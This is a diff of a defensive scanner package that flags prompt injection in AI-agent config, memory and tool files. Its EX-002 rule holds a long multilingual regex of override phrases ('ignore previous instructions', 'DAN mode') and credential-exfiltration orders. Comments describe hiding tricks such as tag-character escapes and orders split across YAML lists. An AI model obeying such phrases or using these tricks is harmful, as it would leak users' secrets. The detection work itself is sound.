@exorcist-98/cli 0.3.9 → 0.3.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +8 -8
- package/definitions/EX-001-hidden-unicode.yaml +8 -1
- package/definitions/EX-002-ai-instructions.yaml +18 -2
- package/definitions/EX-003-encoded-payload.yaml +8 -1
- package/definitions/EX-007-overbroad-autoapprove.yaml +4 -1
- package/definitions/EX-010-unpinned-mcp-server.yaml +19 -10
- package/definitions/EX-013-typosquat-mcp-package.yaml +2 -1
- package/definitions/EX-021-smuggled-bytes.yaml +3 -0
- package/definitions/EX-032-redirect-publish-instruction.yaml +3 -2
- package/definitions/EX-034-trusts-all-commands-map.yaml +5 -2
- package/definitions/EX-036-lifecycle-script-exfiltration.yaml +31 -11
- package/definitions/EX-037-hide-action-from-user.yaml +15 -1
- package/definitions/EX-061-hidden-unicode-code.yaml +17 -0
- package/definitions/EX-066-settings-run-commands.yaml +5 -1
- package/definitions/EX-070-data-out-link.yaml +2 -1
- package/definitions/EX-071-post-secrets.yaml +3 -1
- package/definitions/EX-074-copilot-approve-all.yaml +15 -7
- package/definitions/EX-075-unrelated-order.yaml +3 -1
- package/definitions/EX-076-ai-note-dangerous-action.yaml +49 -0
- package/definitions/EX-077-env-to-network.yaml +32 -0
- package/dist/index.mjs +62705 -38419
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -11,7 +11,7 @@ Needs Node 20 or newer.
|
|
|
11
11
|
## Scan a project
|
|
12
12
|
|
|
13
13
|
```sh
|
|
14
|
-
npx -y @exorcist-98/cli@0.3.
|
|
14
|
+
npx -y @exorcist-98/cli@0.3.11 scan .
|
|
15
15
|
```
|
|
16
16
|
|
|
17
17
|
Every finding shows the file, line, the exact text, how serious it is and how
|
|
@@ -39,7 +39,7 @@ request.
|
|
|
39
39
|
## Map the haunted house
|
|
40
40
|
|
|
41
41
|
```sh
|
|
42
|
-
npx -y @exorcist-98/cli@0.3.
|
|
42
|
+
npx -y @exorcist-98/cli@0.3.11 map .
|
|
43
43
|
```
|
|
44
44
|
|
|
45
45
|
For every MCP config in the folder, lists which servers sit in the three rooms
|
|
@@ -52,8 +52,8 @@ data. The rules are in `definitions/capabilities.yaml`.
|
|
|
52
52
|
## Disinfect (exorcise)
|
|
53
53
|
|
|
54
54
|
```sh
|
|
55
|
-
npx -y @exorcist-98/cli@0.3.
|
|
56
|
-
npx -y @exorcist-98/cli@0.3.
|
|
55
|
+
npx -y @exorcist-98/cli@0.3.11 exorcise . # dry run: prints a unified diff
|
|
56
|
+
npx -y @exorcist-98/cli@0.3.11 exorcise . --write # apply, with a vault backup first
|
|
57
57
|
```
|
|
58
58
|
|
|
59
59
|
Only threats with one safe, mechanical fix are repaired: hidden characters
|
|
@@ -67,7 +67,7 @@ human"), and `exorcist vault restore <id>` puts every file back byte for byte.
|
|
|
67
67
|
## Protect your MCP servers
|
|
68
68
|
|
|
69
69
|
```sh
|
|
70
|
-
npx -y @exorcist-98/cli@0.3.
|
|
70
|
+
npx -y @exorcist-98/cli@0.3.11 wrap .kiro/settings/mcp.json
|
|
71
71
|
```
|
|
72
72
|
|
|
73
73
|
`wrap` puts every server in the file, local or remote, behind the Real-Time
|
|
@@ -79,9 +79,9 @@ instruct your agent. `unwrap` restores the file exactly. See
|
|
|
79
79
|
## Share approved tools with your team: exorcist.lock
|
|
80
80
|
|
|
81
81
|
```sh
|
|
82
|
-
npx -y @exorcist-98/cli@0.3.
|
|
83
|
-
npx -y @exorcist-98/cli@0.3.
|
|
84
|
-
npx -y @exorcist-98/cli@0.3.
|
|
82
|
+
npx -y @exorcist-98/cli@0.3.11 lock # write exorcist.lock, then commit it
|
|
83
|
+
npx -y @exorcist-98/cli@0.3.11 lock --check # exit 1 if any tool or program changed
|
|
84
|
+
npx -y @exorcist-98/cli@0.3.11 lock --check --static # starts nothing: names, programs, URLs only
|
|
85
85
|
```
|
|
86
86
|
|
|
87
87
|
`exorcist.lock` records the fingerprint of every tool your MCP servers list,
|
|
@@ -8,18 +8,25 @@ applies_to:
|
|
|
8
8
|
- memory
|
|
9
9
|
- hook
|
|
10
10
|
- tool-result
|
|
11
|
+
# package.json: its description and keywords reach an agent that reads the package (m20).
|
|
12
|
+
- manifest
|
|
11
13
|
match:
|
|
12
14
|
unicode_class:
|
|
13
15
|
- zero-width # U+200B, U+200C, U+200D, U+FEFF
|
|
14
16
|
- bidi-override # U+202A-U+202E, U+2066-U+2069
|
|
15
17
|
- tag-block # U+E0000-U+E007F
|
|
16
|
-
- invisible-format # U+00AD, U+034F, U+061C
|
|
18
|
+
- invisible-format # U+00AD, U+034F, U+061C and the rest of the format characters (L-006, m18-scanner)
|
|
19
|
+
- invisible-letter # the Hangul fillers U+115F, U+1160, U+3164, U+FFA0 (m20)
|
|
20
|
+
# Hidden characters written as escapes (\uDB40\uDC41 in a JSON string are tag characters once parsed),
|
|
21
|
+
# when the run can carry a message: four or more tags, eight or more zero-width characters (m20).
|
|
22
|
+
escapes: true
|
|
17
23
|
# Soft hyphens and the other format characters are ordinary in hyphenated and
|
|
18
24
|
# right-to-left text. A run made only of them is reported at low severity and
|
|
19
25
|
# never counts toward the escalation of many short runs (m18-scanner).
|
|
20
26
|
weak_run:
|
|
21
27
|
classes:
|
|
22
28
|
- invisible-format
|
|
29
|
+
- invisible-letter
|
|
23
30
|
severity: low
|
|
24
31
|
# One to three zero-width characters on their own cannot carry a hidden
|
|
25
32
|
# message; in the field they were stray characters left by translation or
|
|
@@ -7,11 +7,26 @@ applies_to:
|
|
|
7
7
|
- memory
|
|
8
8
|
- tool-result
|
|
9
9
|
match:
|
|
10
|
+
# m21: an order split across YAML list items is read joined (a run of items at one indent).
|
|
11
|
+
join_yaml_lists: true
|
|
10
12
|
# Phrases that only make sense when talking to an AI agent. Any amount of
|
|
11
13
|
# whitespace may separate the words. Ordinary text such as "you are now
|
|
12
14
|
# logged in" is not flagged. A phrase split by hidden characters still
|
|
13
15
|
# matches (the engine also scans the text with them removed).
|
|
14
|
-
regex: "(?:\\bignore\\s+(?:all\\s+|any\\s+|the\\s+)?(?:previous|prior|above|earlier)\\s+(?:instructions|rules|prompts?)|\\bdisregard\\s+(?:all\\s+|any\\s+|the\\s+)?(?:previous|prior|above|earlier)\\s+(?:instructions|rules)|\\byou\\s+are\\s+now\\s+(?:(?:operating\\s+)?in\\s+(?:maintenance|developer|debug|admin|god|unrestricted|jailbreak|dan)\\s+mode|operating\\s+without\\s+(?:any\\s+)?(?:restrictions|rules|limits)|free\\b|unrestricted|dan\\b)|\\bas\\s+an\\s+ai(?:\\s+(?:assistant|agent|model))?\\s*,?\\s+(?:your\\s+(?:new|real|true|actual|hidden|secret|only)\\b|you\\s+must|you\\s+should|ignore)|\\byour\\s+new\\s+(?:primary\\s+)?(?:directive|instructions?)\\b|\\bdo\\s+not\\s+(?:mention|tell|reveal)\\s+(?:this|these)\\s+(?:instruction|note|message)s?|\\b(?:send|upload|post|forward|e-?mail|mail|paste|submit|copy|transmit|exfiltrate)\\s+(?:(?!\\n\\s*\\n)(?:[^.!?]|\\.(?=\\w))){0,40}?(?:\\.env\\b|(?:environment|env)\\s+files?|credentials?|secrets?|(?:api\\s+|access\\s+|auth\\s+|bearer\\s+)?tokens?|(?:api|ssh|private|secret)\\s+keys?)(?:(?!\\n\\s*\\n)(?:[^.!?]|\\.(?=\\w))){0,30}?\\b(?:to|at|into|via)(?:\\s*(?:…|\\.{3})|\\s+(?:https?://|ftp://|[\\w.+-]+@[\\w-]+\\.[\\w.-]+|(?:[a-z0-9-]+\\.)+(?!(?:json|ya?ml|toml|txt|md|env|jsx?|tsx?|py|sh|cfg|ini|conf|properties|example|local|lock|log|xml|html?|css)\\b)[a-z]{2,}\\b|the\\s+following\\b))|ignora(?:r)?\\s+(?:todas\\s+)?(?:las\\s+)?instrucciones\\s+(?:anteriores|previas)|olvida\\s+(?:todas\\s+)?(?:las\\s+)?instrucciones\\s+anteriores|ignore(?:z|r)?\\s+(?:toutes\\s+)?(?:les\\s+)?instructions\\s+(?:pr[eé]c[eé]dentes|ant[eé]rieures)|ignorier(?:e|en)?\\s+(?:alle\\s+)?(?:vorherigen|fr[üu]heren|obigen)\\s+(?:anweisungen|instruktionen|regeln)|ignor(?:e|ar)\\s+(?:todas\\s+)?(?:as\\s+)?instru[çc][õo]es\\s+(?:anteriores|pr[ée]vias)|ignora(?:re)?\\s+(?:tutte\\s+)?(?:le\\s+)?(?:istruzioni|regole)\\s+(?:precedenti|anteriori)|忽略(?:之前|以前|先前|上述|以上|前面)(?:的)?(?:所有)?(?:指令|指示|说明|规则|提示)|(?:以前|これまで|上記|前)の(?:すべての)?(?:指示|命令|ルール|指令)を(?:すべて)?(?:無視|忘れ)|(?:이전|위의|앞의)\\s*(?:모든\\s*)?(?:지시|지침|명령|규칙)(?:사항)?(?:을|를)?\\s*(?:모두\\s*)?(?:무시|잊)|игнорируй(?:те)?\\s+(?:все\\s+)?(?:предыдущие|прежние|вышеуказанные)\\s+(?:инструкции|указания|правила))"
|
|
16
|
+
regex: "(?:(?:\\.env\\b(?!\\.(?:example|sample|template))|\\bid_(?:rsa|ed25519|ecdsa)\\b(?!\\.pub)|\\.ssh\\b|\\.aws/credentials\\b|\\.netrc\\b|\\.npmrc\\b|\\.pypirc\\b|\\.git-credentials\\b|\\.gitconfig\\b|\\.kube/config\\b)(?:[^.!?。!?\\n]|\\n(?![ \\t]*\\n)|\\.(?=[\\w/~])){0,160}?(?:(?:(?<![A-Za-z0-9_À-ɏ])(?:(?:env[ií]a|env[ií]e|enviar|env[ií]alo|env[ií]ala|env[ií]alos|manda|mande|mandar|sube|suba|subir|reenv[ií]a|publica|comparte|pega|transmite)|(?:sende|senden|schicke|schicken|schick|lade|hochladen|[üu]bertrage|[üu]bertragen|[üu]bermittle|[üu]bermitteln|poste|posten|leite|f[üu]ge)|(?:envoie|envoyez|envoyer|t[ée]l[ée]verse|transmets|transmettez|poste|publie|colle|copie)|(?:envie|envia|enviar|mande|manda|suba|carregue|publique|cole|transmita))(?![A-Za-z0-9_À-ɏ])|(?:отправ|пошли|пришли|загрузи|перешли|вставь|опубликуй|передай|скинь)|(?:发送|发到|上传|转发|提交|贴到|粘贴|传到|发给|发至)|(?:送信|送って|送る|送れ|アップロード|転送|貼り付け|投稿|共有)|(?:보내|전송|업로드|전달|붙여|공유)|(?:भेज|अपलोड|पोस्ट|फॉरवर्ड|चिपका|साझा))(?:[^.!?。!?\\n]|\\n(?![ \\t]*\\n)|\\.(?=[\\w/~])){0,200}?(?:https?://|ftp://|\\d{1,3}(?:\\.\\d{1,3}){3}\\b|[\\w.+-]+@[\\w-]+\\.[\\w.-]+)|(?:https?://|ftp://|\\d{1,3}(?:\\.\\d{1,3}){3}\\b|[\\w.+-]+@[\\w-]+\\.[\\w.-]+)(?:[^.!?。!?\\n]|\\n(?![ \\t]*\\n)|\\.(?=[\\w/~])){0,80}?(?:(?<![A-Za-z0-9_À-ɏ])(?:(?:env[ií]a|env[ií]e|enviar|env[ií]alo|env[ií]ala|env[ií]alos|manda|mande|mandar|sube|suba|subir|reenv[ií]a|publica|comparte|pega|transmite)|(?:sende|senden|schicke|schicken|schick|lade|hochladen|[üu]bertrage|[üu]bertragen|[üu]bermittle|[üu]bermitteln|poste|posten|leite|f[üu]ge)|(?:envoie|envoyez|envoyer|t[ée]l[ée]verse|transmets|transmettez|poste|publie|colle|copie)|(?:envie|envia|enviar|mande|manda|suba|carregue|publique|cole|transmita))(?![A-Za-z0-9_À-ɏ])|(?:отправ|пошли|пришли|загрузи|перешли|вставь|опубликуй|передай|скинь)|(?:发送|发到|上传|转发|提交|贴到|粘贴|传到|发给|发至)|(?:送信|送って|送る|送れ|アップロード|転送|貼り付け|投稿|共有)|(?:보내|전송|업로드|전달|붙여|공유)|(?:भेज|अपलोड|पोस्ट|फॉरवर्ड|चिपका|साझा)))|(?<![A-Za-z0-9_À-ɏ])(?:envi[aá]ndol[ao]s?|mand[aá]ndol[ao]s?|sub[ií]endol[ao]s?|envi[aá]rl[ao]s?|mand[aá]rl[ao]s?|env[ií]al[ao]s?|m[aá]ndal[ao]s?|s[uú]bel[ao]s?|envoie-l[ae]|envoyez-l[ae]|envie-[ao]s?|enviando-[ao]s?|schick(?:e|en)?\\s+(?:es|sie|ihn))(?![A-Za-z0-9_À-ɏ])(?<=(?:(?<![A-Za-z0-9_À-ɏ])(?:tokens?|secrets?|secretos?|credencial(?:es)?|claves?|contrase[ñn]as?|llaves?|variables?\\s+de\\s+entorno|zugangsdaten|schl[üu]ssel|passw[oö]rter|passwort|kennw[oö]rter|kennwort|geheimnisse?|anmeldedaten|umgebungsvariablen|jetons?|identifiants|cl[ée]s?|mots?\\s+de\\s+passe|variables\\s+d['’]environnement|credenciais|chaves?|senhas?|segredos?|vari[áa]veis\\s+de\\s+ambiente)(?![A-Za-z0-9_À-ɏ])|(?:\\.env\\b(?!\\.(?:example|sample|template))|\\bid_(?:rsa|ed25519|ecdsa)\\b(?!\\.pub)|\\.ssh\\b|\\.aws/credentials\\b|\\.netrc\\b|\\.npmrc\\b|\\.pypirc\\b|\\.git-credentials\\b|\\.gitconfig\\b|\\.kube/config\\b))(?:[^.!?。!?\\n]|\\n(?![ \\t]*\\n)|\\.(?=[\\w/~])){0,160}?(?<![A-Za-z0-9_À-ɏ])(?:envi[aá]ndol[ao]s?|mand[aá]ndol[ao]s?|sub[ií]endol[ao]s?|envi[aá]rl[ao]s?|mand[aá]rl[ao]s?|env[ií]al[ao]s?|m[aá]ndal[ao]s?|s[uú]bel[ao]s?|envoie-l[ae]|envoyez-l[ae]|envie-[ao]s?|enviando-[ao]s?|schick(?:e|en)?\\s+(?:es|sie|ihn))(?![A-Za-z0-9_À-ɏ]))(?:[^.!?。!?\\n]|\\n(?![ \\t]*\\n)|\\.(?=[\\w/~])){0,80}?(?:https?://|ftp://|\\d{1,3}(?:\\.\\d{1,3}){3}\\b|[\\w.+-]+@[\\w-]+\\.[\\w.-]+)|\\b[i1!|][g9]n[o0]r[e3]\\s+(?:(?:y[o0][uv]r|[a4@][l1|][l1|]|[t7+]h[e3])\\s+)?(?:(?:pr[e3]v[i1!|][o0][uv][s5$]|pr[i1!|][o0]r|[e3][a4@]r[l1|][i1!|][e3]r)\\s+)?(?:[i1!|]n[s5$][t7+]r[uv]c[t7+][i1!|][o0]n[s5$]|r[uv][l1|][e3][s5$]|[g9][uv][i1!|]d[e3][l1|][i1!|]n[e3][s5$])\\b(?<=[0-9@$!|+][^\\n]{0,80})|\\b(?:ignore|disregard|forget)(?<!\\b(?:if|when|whenever|text\\s+that|anything\\s+that|content\\s+that|something\\s+that|whatever)\\s+(?:[\\w'’-]+\\s+){0,4}?(?:asks?|tells?|instructs?|wants?|requests?|says?|orders?|directs?|urges?)\\s+(?:you|the\\s+(?:agent|model|assistant|ai))\\s+to\\s+(?=(?:[^,;:.!?]{0,120}|(?:[^,;:.!?]{0,120},\\s*){1,6}or\\s+[^,;:.!?]{0,120})[,;:—]\\s*(?:stop(?:\\s+and\\s+(?:tell|warn|ask)\\s+the\\s+user)?|refuse(?:\\s+it)?|decline(?:\\s+it)?|ignore\\s+it|report\\s+it|flag\\s+it|(?:tell|warn|ask)\\s+the\\s+user|treat\\s+it\\s+as\\s+(?:an?\\s+)?(?:attack|untrusted|data))\\s*[.!])(?:ignore|disregard|forget))\\s+(?:(?:all|any|every)\\s+(?:of\\s+)?)?(?:(?:the|your|my|our|these|those|its|their)\\s+)?(?:(?:previous|prior|above|earlier|preceding|initial|original|system|safety)\\s+){1,2}(?:instructions?|rules|prompts?|directives?|directions|guidelines|guidance|guardrails|constraints|programming|system\\s+prompt)\\b|\\b(?:ignore|disregard|forget)(?<!\\b(?:if|when|whenever|text\\s+that|anything\\s+that|content\\s+that|something\\s+that|whatever)\\s+(?:[\\w'’-]+\\s+){0,4}?(?:asks?|tells?|instructs?|wants?|requests?|says?|orders?|directs?|urges?)\\s+(?:you|the\\s+(?:agent|model|assistant|ai))\\s+to\\s+(?=(?:[^,;:.!?]{0,120}|(?:[^,;:.!?]{0,120},\\s*){1,6}or\\s+[^,;:.!?]{0,120})[,;:—]\\s*(?:stop(?:\\s+and\\s+(?:tell|warn|ask)\\s+the\\s+user)?|refuse(?:\\s+it)?|decline(?:\\s+it)?|ignore\\s+it|report\\s+it|flag\\s+it|(?:tell|warn|ask)\\s+the\\s+user|treat\\s+it\\s+as\\s+(?:an?\\s+)?(?:attack|untrusted|data))\\s*[.!])(?:ignore|disregard|forget))\\s+(?:all\\s+(?:of\\s+)?)?your\\s+(?:instructions|rules|guidelines|guardrails|programming|system\\s+prompt)\\b|\\boverride\\s+(?:all\\s+(?:of\\s+)?)?(?:your|its)\\s+(?:(?:previous|prior|safety|system|original)\\s+)?(?:instructions|rules|guidelines|guardrails|programming|system\\s+prompt)\\b|\\b(?:ignore|disregard|forget)\\s+everything\\s+(?:above|before\\s+this|you\\s+(?:were|have\\s+been)\\s+told)\\b|\\b(?:cat|type|read|open|print|dump|output|copy|include|paste|show|display|reveal|send|upload|post|attach|append|echo)\\b(?:[^.!?。!?\\n]|\\.(?=[\\w/~])){0,60}?(?:id_(?:rsa|ed25519|ecdsa|dsa)(?!\\.pub)\\b|\\.aws/credentials|\\.netrc\\b|\\.npmrc\\b|\\.pypirc\\b|\\.git-credentials\\b|\\.docker/config\\.json|\\.kube/config\\b|gh/hosts\\.yml|\\.env\\b(?!\\.example|\\.sample|\\.template))(?:[^.!?。!?\\n]|\\.(?=[\\w/~])){0,80}?\\b(?:in(?:to)?|to|with|as|at\\s+the\\s+end\\s+of)\\s+(?:(?:your|the|a|an|this)\\s+)?(?:(?:public|new|next|final|full)\\s+)?(?:reply|response|answer|output|summary|comment|message|chat|issue|pull\\s+request|PR\\b|commit\\s+message|https?://|\\d{1,3}(?:\\.\\d{1,3}){3}\\b)|(?:(?<![A-Za-z0-9_À-ɏ])(?:(?:env[ií]a|env[ií]e|enviar|env[ií]alo|env[ií]ala|env[ií]alos|manda|mande|mandar|sube|suba|subir|reenv[ií]a|publica|comparte|pega|transmite)|(?:sende|senden|schicke|schicken|schick|lade|hochladen|[üu]bertrage|[üu]bertragen|[üu]bermittle|[üu]bermitteln|poste|posten|leite|f[üu]ge)|(?:envoie|envoyez|envoyer|t[ée]l[ée]verse|transmets|transmettez|poste|publie|colle|copie)|(?:envie|envia|enviar|mande|manda|suba|carregue|publique|cole|transmita))(?![A-Za-z0-9_À-ɏ])|(?:отправ|пошли|пришли|загрузи|перешли|вставь|опубликуй|передай|скинь)|(?:发送|发到|上传|转发|提交|贴到|粘贴|传到|发给|发至)|(?:送信|送って|送る|送れ|アップロード|転送|貼り付け|投稿|共有)|(?:보내|전송|업로드|전달|붙여|공유)|(?:भेज|अपलोड|पोस्ट|फॉरवर्ड|चिपका|साझा))(?:[^.!?。!?\\n]|\\.(?=[\\w/~])){0,200}?(?:(?<![A-Za-z0-9_À-ɏ])(?:(?:token|credencial|clave|contrase[ñn]a|secreto|llave|\\.env\\b|variables?\\s+de\\s+entorno)|(?:token|zugangsdaten|schl[üu]ssel|passwort|kennwort|geheimnis|anmeldedaten|\\.env\\b|umgebungsvariablen)|(?:jeton|token|identifiants|cl[ée]|mot\\s+de\\s+passe|secret|\\.env\\b|variables\\s+d['’]environnement)|(?:token|credenciais|chave|senha|segredo|\\.env\\b|vari[áa]veis\\s+de\\s+ambiente))(?:s|es)?(?![A-Za-z0-9_À-ɏ])|(?:токен|ключ|парол|учётн|учетн|секрет|\\.env|GITHUB_TOKEN|переменн\\w*\\s+окружени)|(?:令牌|密钥|凭据|凭证|密码|私钥|环境变量|\\.env|token|Token|TOKEN)|(?:トークン|認証情報|資格情報|鍵|キー|パスワード|秘密|\\.env|環境変数|クレデンシャル)|(?:토큰|자격\\s*증명|키|비밀번호|암호|\\.env|환경\\s*변수|인증\\s*정보)|(?:टोकन|कुंजी|पासवर्ड|क्रेडेंशियल|\\.env|गुप्त|सीक्रेट|एपीआई\\s*की))(?:[^.!?。!?\\n]|\\.(?=[\\w/~])){0,200}?(?:https?://|ftp://|\\d{1,3}(?:\\.\\d{1,3}){3}\\b|[\\w.+-]+@[\\w-]+\\.[\\w.-]+)|(?:токен|ключ|парол|учётн|учетн|секрет|переменн\\w*\\s+окружени|令牌|密钥|凭据|凭证|密码|私钥|环境变量|トークン|認証情報|資格情報|鍵|キー|パスワード|秘密|環境変数|クレデンシャル|토큰|자격\\s*증명|키|비밀번호|암호|환경\\s*변수|인증\\s*정보|टोकन|कुंजी|पासवर्ड|क्रेडेंशियल|गुप्त|सीक्रेट|एपीआई\\s*की|\\.env\\b)(?:[^.!?。!?\\n]|\\.(?=[\\w/~])){0,120}?(?:(?:(?:отправ|пошли|пришли|загрузи|перешли|вставь|опубликуй|передай|скинь)|(?:发送|发到|上传|转发|提交|贴到|粘贴|传到|发给|发至)|(?:送信|送って|送る|送れ|アップロード|転送|貼り付け|投稿|共有)|(?:보내|전송|업로드|전달|붙여|공유)|(?:भेज|अपलोड|पोस्ट|फॉरवर्ड|चिपका|साझा))(?:[^.!?。!?\\n]|\\.(?=[\\w/~])){0,200}?(?:https?://|ftp://|\\d{1,3}(?:\\.\\d{1,3}){3}\\b|[\\w.+-]+@[\\w-]+\\.[\\w.-]+)|(?:https?://|ftp://|\\d{1,3}(?:\\.\\d{1,3}){3}\\b|[\\w.+-]+@[\\w-]+\\.[\\w.-]+)(?:[^.!?。!?\\n]|\\.(?=[\\w/~])){0,60}?(?:(?:отправ|пошли|пришли|загрузи|перешли|вставь|опубликуй|передай|скинь)|(?:发送|发到|上传|转发|提交|贴到|粘贴|传到|发给|发至)|(?:送信|送って|送る|送れ|アップロード|転送|貼り付け|投稿|共有)|(?:보내|전송|업로드|전달|붙여|공유)|(?:भेज|अपलोड|पोस्ट|फॉरवर्ड|चिपका|साझा)))|\\byou\\s+are\\s+now\\s+(?:(?:operating\\s+)?in\\s+(?:maintenance|developer|debug|admin|god|unrestricted|jailbreak|dan)\\s+mode|operating\\s+without\\s+(?:any\\s+)?(?:restrictions|rules|limits)|free\\b|unrestricted|dan\\b)|\\bas\\s+an\\s+ai(?:\\s+(?:assistant|agent|model))?\\s*,?\\s+(?:your\\s+(?:new|real|true|actual|hidden|secret|only)\\b|you\\s+must|you\\s+should|ignore)|\\byour\\s+new\\s+(?:primary\\s+)?(?:directive|instructions?)\\b|\\bdo\\s+not\\s+(?:mention|tell|reveal)\\s+(?:this|these)\\s+(?:instruction|note|message)s?|\\b(?:send|upload|post|forward|e-?mail|mail|paste|submit|copy|transmit|exfiltrate)\\s+(?:(?!\\n\\s*\\n)(?:[^.!?]|\\.(?=\\w))){0,40}?(?:\\.env\\b|(?:environment|env)\\s+files?|id_(?:rsa|ed25519|ecdsa)\\b|\\.netrc\\b|\\.npmrc\\b|\\.pypirc\\b|\\.git-credentials\\b|credentials?|secrets?|(?:api\\s+|access\\s+|auth\\s+|bearer\\s+)?tokens?|(?:api|ssh|private|secret)\\s+keys?)(?:(?!\\n\\s*\\n)(?:[^.!?]|\\.(?=\\w))){0,30}?\\b(?:to|at|into|via)(?:\\s*(?:…|\\.{3})|\\s+(?:https?://|ftp://|\\d{1,3}(?:\\.\\d{1,3}){3}\\b|[\\w.+-]+@[\\w-]+\\.[\\w.-]+|(?:[a-z0-9-]+\\.)+(?!(?:json|ya?ml|toml|txt|md|env|jsx?|tsx?|py|sh|cfg|ini|conf|properties|example|local|lock|log|xml|html?|css)\\b)[a-z]{2,}\\b|the\\s+following\\b))|ignora(?:r)?\\s+(?:todas\\s+)?(?:las\\s+)?instrucciones\\s+(?:anteriores|previas)|olvida\\s+(?:todas\\s+)?(?:las\\s+)?instrucciones\\s+anteriores|ignore(?:z|r)?\\s+(?:toutes\\s+)?(?:les\\s+)?instructions\\s+(?:pr[eé]c[eé]dentes|ant[eé]rieures)|ignorier(?:e|en)?\\s+(?:alle\\s+)?(?:vorherigen|fr[üu]heren|obigen)\\s+(?:anweisungen|instruktionen|regeln)|ignor(?:e|ar)\\s+(?:todas\\s+)?(?:as\\s+)?instru[çc][õo]es\\s+(?:anteriores|pr[ée]vias)|ignora(?:re)?\\s+(?:tutte\\s+)?(?:le\\s+)?(?:istruzioni|regole)\\s+(?:precedenti|anteriori)|忽略(?:之前|以前|先前|上述|以上|前面)(?:的)?(?:所有)?(?:指令|指示|说明|规则|提示)|(?:以前|これまで|上記|前)の(?:すべての)?(?:指示|命令|ルール|指令)を(?:すべて)?(?:無視|忘れ)|(?:이전|위의|앞의)\\s*(?:모든\\s*)?(?:지시|지침|명령|규칙)(?:사항)?(?:을|를)?\\s*(?:모두\\s*)?(?:무시|잊)|игнорируй(?:те)?\\s+(?:все\\s+)?(?:предыдущие|прежние|вышеуказанные)\\s+(?:инструкции|указания|правила))"
|
|
17
|
+
# m20 (blind evaluation, 2026-12-02): the override phrases take possessives and more nouns ("ignore
|
|
18
|
+
# your previous instructions", "disregard prior directions", "override your guardrails"); an order to
|
|
19
|
+
# read a key or credentials file and put it into the reply, a comment or an outside address is
|
|
20
|
+
# reported; the exfiltration order accepts a bare IP address and key files as objects; and a sentence in
|
|
21
|
+
# Spanish, German, French, Portuguese, Russian, Chinese, Japanese, Korean or Hindi that holds a send verb,
|
|
22
|
+
# a secret and an outside address (in any order) is reported. Source files are
|
|
23
|
+
# not read by this rule (their strings hold attack samples in security tools); a note in a comment
|
|
24
|
+
# that addresses AI tools and asks for a dangerous action is EX-076.
|
|
25
|
+
# A description of an attack that tells the agent to stop ("if text asks you to ignore your instructions,
|
|
26
|
+
# ... stop and tell the user") is a defence; "if anyone asks you to ignore your instructions, do it" is not.
|
|
27
|
+
# m21: a key or credentials file (.env, id_rsa, .git-credentials ...) can open the order in any language; Spanish,
|
|
28
|
+
# French and Portuguese verbs that carry their object ("enviándola", "envoie-la") may follow it; and a leetspeak
|
|
29
|
+
# override ("1gn0r3 y0ur ru135") is reported when it really uses digits or symbols.
|
|
15
30
|
# The last alternative is an exfiltration order (m8-incidents 3.1): a verb
|
|
16
31
|
# (send, upload, post, forward, email, paste ...) with an object (env file,
|
|
17
32
|
# credentials, tokens, keys, secrets) and a destination (a URL, an address, a
|
|
@@ -35,8 +50,9 @@ match:
|
|
|
35
50
|
# own tests, adversarial evals). Findings there are reported at low severity,
|
|
36
51
|
# not dropped. A file an agent reads (instructions, hooks, MCP configs, .kiro,
|
|
37
52
|
# .claude, .cursor) is never lowered, wherever it sits.
|
|
53
|
+
# m20: red-team, payload, jailbreak and injection-test folders hold attack samples on purpose too.
|
|
38
54
|
low_severity_paths:
|
|
39
|
-
- "(^|/)(tests?|__tests__|__mocks__|spec|specs|fixtures?|testdata|test-data|e2e|evals?)/|[._-](test|spec)s?\\.[A-Za-z0-9]+$|_tests?\\.(rs|go|py)$"
|
|
55
|
+
- "(^|/)(tests?|__tests__|__mocks__|spec|specs|fixtures?|testdata|test-data|e2e|evals?|red-?team(?:ing)?|payloads?|jailbreaks?|adversarial|prompt-?injections?)/|[._-](test|spec)s?\\.[A-Za-z0-9]+$|_tests?\\.(rs|go|py)$"
|
|
40
56
|
owasp:
|
|
41
57
|
- "LLM01:2025 Prompt Injection"
|
|
42
58
|
- "ASI03 Prompt Injection via External Content"
|
|
@@ -13,7 +13,9 @@ match:
|
|
|
13
13
|
# are skipped: package integrity hashes ("sha512-...") that fill lockfiles,
|
|
14
14
|
# and inline data URIs ("data:image/png;base64,...").
|
|
15
15
|
# A run of 40+ base64 characters, or 48+ hex digits (plain, 0x or \\x escaped).
|
|
16
|
-
|
|
16
|
+
# m20: a data URI is skipped only when it holds an image, font, audio, video or binary file; a
|
|
17
|
+
# data:text/plain;base64 "badge" is read like any other blob.
|
|
18
|
+
regex: "(?:(?<!sha(?:1|256|384|512)-)(?<!data:(?:image|font|audio|video)/[\\w.+-]{1,60};base64,)(?<!data:application/(?:octet-stream|pdf|wasm|zip|x-font-[\\w-]{1,20}|font-[\\w-]{1,20});base64,)(?<![A-Za-z0-9+/=])[A-Za-z0-9+/=]{40,}(?![A-Za-z0-9+/=])|(?:\\\\x[0-9a-fA-F]{2}){24,})"
|
|
17
19
|
# Only runs that decode to readable text count. URL paths, hashes, git SHAs
|
|
18
20
|
# and identifiers decode to binary noise; before this check they were about
|
|
19
21
|
# 99% of all findings on ordinary repositories (docs/BENCHMARK.md).
|
|
@@ -28,6 +30,11 @@ match:
|
|
|
28
30
|
# if what it says is flagged by the other rules, or contains a chat-template
|
|
29
31
|
# marker that starts a system prompt. Free text and commands still count as
|
|
30
32
|
# they are: hidden words are what this rule is for.
|
|
33
|
+
# m20: decoded text that gives no order (no command, address, secret, override, or phrase the instruction
|
|
34
|
+
# rules flag) is ordinary prose, such as a tutorial's sample; it is reported at low, not high.
|
|
35
|
+
decoded_prose_severity: low
|
|
36
|
+
# m20: percent-encoded runs (16+ "%XX" in a row) and ROT13 lines are decoded and judged the same way.
|
|
37
|
+
other_encodings: true
|
|
31
38
|
decoded_flag_regex: '<\|im_start\|>|<\|(?:system|user|assistant)\|>|\[/?INST\]|<<SYS>>|<\|start_header_id\|>'
|
|
32
39
|
skip_paths:
|
|
33
40
|
- "(^|/)(tests?|__tests__|__mocks__|spec|specs|fixtures?|testdata|test-data|e2e)/|[._-](test|spec)s?\\.[A-Za-z0-9]+$|_tests?\\.(rs|go|py)$"
|
|
@@ -5,7 +5,10 @@ applies_to:
|
|
|
5
5
|
- mcp-config
|
|
6
6
|
- config
|
|
7
7
|
match:
|
|
8
|
-
|
|
8
|
+
# autoApprove is the per-server list of Kiro and Amazon Q; alwaysAllow is the
|
|
9
|
+
